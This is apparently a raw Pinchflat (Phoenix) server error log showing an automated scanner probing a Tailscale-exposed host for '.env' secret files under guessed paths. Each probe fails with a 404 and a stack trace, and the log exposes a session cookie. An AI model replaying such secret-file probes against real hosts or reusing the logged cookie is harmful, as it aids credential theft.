["control-panel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/control-panel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6qyHQYmqeaMAAR8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/control-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 125, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /control-panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/control-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 125, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:17.717 [info] GET /user-panel/.env 02:10:17.719 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=186.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.719 [debug] QUERY OK source="settings" db=0.2ms idle=132.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.719 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.720 [error] #PID<0.3430.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 126) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /user-panel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /user-panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/user-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 126, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3430.0>, params: %{}, path_info: ["user-panel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/user-panel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6rAbffrXNFUAAR9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/user-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 126, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /user-panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/user-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 126, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ (truncated) 02:10:17.786 [info] GET /node/.env 02:10:17.786 [debug] QUERY OK source="settings" db=0.2ms idle=198.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.786 [debug] QUERY OK source="settings" db=0.0ms idle=127.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.786 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.787 [error] #PID<0.3431.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 127) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /node/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /node/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 127, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3431.0>, params: %{}, path_info: ["node", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/node/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6rQspFzWWMsAAR-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 127, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /node/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/node/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 127, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:17.842 [info] GET /express/.env 02:10:17.843 [debug] QUERY OK source="settings" db=0.3ms idle=182.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.843 [debug] QUERY OK source="settings" db=0.1ms idle=124.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.843 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.843 [error] #PID<0.3432.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 128) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /express/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /express/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/express/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 128, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3432.0>, params: %{}, path_info: ["express", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/express/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6reJoWsnoUsAAR_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/express/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", 